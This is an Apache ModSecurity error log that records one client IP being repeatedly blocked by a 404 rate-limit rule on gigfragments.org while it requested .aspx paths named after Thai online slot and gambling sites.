[Tue Jan 27 16:07:39.570762 2026] [:error] [pid 48412:tid 48423] [client 51.161.86.195:39406] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXhyS3bJMfAKlln88JHE1AAAAUk"]
[Tue Jan 27 16:07:40.777048 2026] [:error] [pid 48412:tid 48436] [client 51.161.86.195:39438] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%8A%E0%B8%B5%E0%B8%A2.aspx"] [unique_id "aXhyTHbJMfAKlln88JHE2QAAAVY"]
[Tue Jan 27 16:07:42.521903 2026] [:error] [pid 7561:tid 7581] [client 51.161.86.195:39440] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXhyTrXGI6mgvHQqkXyzGQAAANE"]
[Tue Jan 27 16:07:43.757865 2026] [:error] [pid 41780:tid 41784] [client 51.161.86.195:39454] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%8B%E0%B8%B8%E0%B8%9B%E0%B9%80%E0%B8%9B%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhyT1vu-XLQ0TaZ4FHtzQAAAQI"]
[Tue Jan 27 16:07:44.095880 2026] [:error] [pid 7561:tid 7577] [client 51.161.86.195:39466] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2lsm99.aspx"] [unique_id "aXhyULXGI6mgvHQqkXyzGwAAAM0"]
[Tue Jan 27 16:07:44.336174 2026] [:error] [pid 48446:tid 48487] [client 51.161.86.195:39470] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXhyUMDRSaZ8F8aaLxlpUAAAAco"]
[Tue Jan 27 16:07:47.248458 2026] [:error] [pid 48446:tid 48492] [client 51.161.86.195:42764] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20168.aspx"] [unique_id "aXhyU8DRSaZ8F8aaLxlpUQAAAc4"]
[Tue Jan 27 16:07:47.649222 2026] [:error] [pid 48631:tid 48640] [client 51.161.86.195:42778] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20chang123.io.aspx"] [unique_id "aXhyUyN5eesHzEogX0wfXwAAAkc"]
[Tue Jan 27 16:07:48.903887 2026] [:error] [pid 7454:tid 7528] [client 51.161.86.195:42794] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2lsm99.aspx"] [unique_id "aXhyVJltCoZEfMmfl8D9PwAAAIw"]
[Tue Jan 27 16:07:50.233026 2026] [:error] [pid 48662:tid 48672] [client 51.161.86.195:42806] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXhyVuD8iESUP9uRiRPU8wAAAoQ"]
[Tue Jan 27 16:07:51.003201 2026] [:error] [pid 41780:tid 41799] [client 51.161.86.195:42818] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888.aspx"] [unique_id "aXhyV1vu-XLQ0TaZ4FHtzwAAARE"]
[Tue Jan 27 16:07:51.577839 2026] [:error] [pid 41780:tid 41782] [client 51.161.86.195:42832] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20168.aspx"] [unique_id "aXhyV1vu-XLQ0TaZ4FHt1AAAAQA"]
[Tue Jan 27 16:07:54.079319 2026] [:error] [pid 48412:tid 48421] [client 51.161.86.195:42848] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87100%20%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%97%E0%B8%A8.aspx"] [unique_id "aXhyWnbJMfAKlln88JHE3wAAAUc"]
[Tue Jan 27 16:07:54.287625 2026] [:error] [pid 7561:tid 7576] [client 51.161.86.195:42850] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20g2g.aspx"] [unique_id "aXhyWrXGI6mgvHQqkXyzJgAAAMw"]
[Tue Jan 27 16:07:54.399297 2026] [:error] [pid 7561:tid 7581] [client 51.161.86.195:42866] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888.aspx"] [unique_id "aXhyWrXGI6mgvHQqkXyzJwAAANE"]
[Tue Jan 27 16:07:56.969728 2026] [:error] [pid 48662:tid 48670] [client 51.161.86.195:39538] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%99%E0%B8%AD%E0%B8%81%20%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88%20%E0%B8%97%E0%B8%B5%E0%B9%88%20%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhyXOD8iESUP9uRiRPU_AAAAoI"]
[Tue Jan 27 16:07:57.888671 2026] [:error] [pid 48412:tid 48435] [client 51.161.86.195:39542] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%8799.aspx"] [unique_id "aXhyXXbJMfAKlln88JHE4QAAAVU"]
[Tue Jan 27 16:07:58.337524 2026] [:error] [pid 48631:tid 48651] [client 51.161.86.195:39526] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%84%E0%B8%A1%E0%B9%88%20%E0%B8%AA%E0%B8%B0%E0%B8%94%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhyXiN5eesHzEogX0wfaQAAAlI"]
[Tue Jan 27 16:07:59.079314 2026] [:error] [pid 48631:tid 48646] [client 51.161.86.195:39554] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXhyXyN5eesHzEogX0wfbAAAAk0"]
[Tue Jan 27 16:07:59.330954 2026] [:error] [pid 48631:tid 48640] [client 51.161.86.195:39562] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20g2g.aspx"] [unique_id "aXhyXyN5eesHzEogX0wfbwAAAkc"]
[Tue Jan 27 16:07:59.418366 2026] [:error] [pid 7454:tid 7520] [client 51.161.86.195:39558] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%8B%E0%B8%B8%E0%B8%9B%E0%B9%80%E0%B8%9B%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhyX5ltCoZEfMmfl8D9SgAAAIQ"]
[Tue Jan 27 16:08:01.308309 2026] [:error] [pid 41780:tid 41799] [client 51.161.86.195:39574] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2lsm99.aspx"] [unique_id "aXhyYVvu-XLQ0TaZ4FHt3QAAARE"]
[Tue Jan 27 16:08:01.993885 2026] [:error] [pid 48528:tid 48531] [client 51.161.86.195:39580] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXhyYQOGRrquT9N7CZpWZgAAAgE"]
[Tue Jan 27 16:08:03.730707 2026] [:error] [pid 48412:tid 48438] [client 51.161.86.195:39582] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXhyY3bJMfAKlln88JHE7gAAAVg"]
[Tue Jan 27 16:08:03.779184 2026] [:error] [pid 41780:tid 41804] [client 51.161.86.195:39592] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20168.aspx"] [unique_id "aXhyY1vu-XLQ0TaZ4FHt3wAAARY"]
[Tue Jan 27 16:08:04.489924 2026] [:error] [pid 7561:tid 7573] [client 51.161.86.195:39616] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%8799.aspx"] [unique_id "aXhyZLXGI6mgvHQqkXyzMgAAAMk"]
[Tue Jan 27 16:08:05.096672 2026] [:error] [pid 48412:tid 48436] [client 51.161.86.195:39620] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg.aspx"] [unique_id "aXhyZXbJMfAKlln88JHE9AAAAVY"]
[Tue Jan 27 16:08:05.782394 2026] [:error] [pid 48412:tid 48433] [client 51.161.86.195:43122] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888.aspx"] [unique_id "aXhyZXbJMfAKlln88JHE9gAAAVM"]
[Tue Jan 27 16:08:06.083494 2026] [:error] [pid 48528:tid 48548] [client 51.161.86.195:39606] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%A3%E0%B8%A1%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXhyZgOGRrquT9N7CZpWawAAAhI"]
[Tue Jan 27 16:08:07.649592 2026] [:error] [pid 48528:tid 48551] [client 51.161.86.195:43146] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXhyZwOGRrquT9N7CZpWbQAAAhU"]
[Tue Jan 27 16:08:07.720235 2026] [:error] [pid 48631:tid 48635] [client 51.161.86.195:43154] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20g2g.aspx"] [unique_id "aXhyZyN5eesHzEogX0wfdAAAAkI"]
[Tue Jan 27 16:08:07.796524 2026] [:error] [pid 7454:tid 7535] [client 51.161.86.195:43138] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXhyZ5ltCoZEfMmfl8D9UwAAAJM"]
[Tue Jan 27 16:08:08.550838 2026] [:error] [pid 7454:tid 7523] [client 51.161.86.195:43166] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXhyaJltCoZEfMmfl8D9VAAAAIc"]
[Tue Jan 27 16:08:10.280515 2026] [:error] [pid 48445:tid 48459] [client 51.161.86.195:43174] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%8799.aspx"] [unique_id "aXhyahFh_QNUhZ0Hkze5MwAAAYo"]
[Tue Jan 27 16:08:11.415091 2026] [:error] [pid 48445:tid 48470] [client 51.161.86.195:43180] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20chang123.io.aspx"] [unique_id "aXhyaxFh_QNUhZ0Hkze5NwAAAZU"]
[Tue Jan 27 16:08:11.774751 2026] [:error] [pid 48445:tid 48458] [client 51.161.86.195:43188] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXhyaxFh_QNUhZ0Hkze5OQAAAYk"]
[Tue Jan 27 16:08:12.149152 2026] [:error] [pid 48631:tid 48651] [client 51.161.86.195:43196] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXhybCN5eesHzEogX0wfdQAAAlI"]
[Tue Jan 27 16:08:12.595704 2026] [:error] [pid 48445:tid 48466] [client 51.161.86.195:43212] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXhybBFh_QNUhZ0Hkze5OwAAAZE"]
[Tue Jan 27 16:08:14.005516 2026] [:error] [pid 48662:tid 48676] [client 51.161.86.195:43232] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXhybuD8iESUP9uRiRPU_wAAAog"]
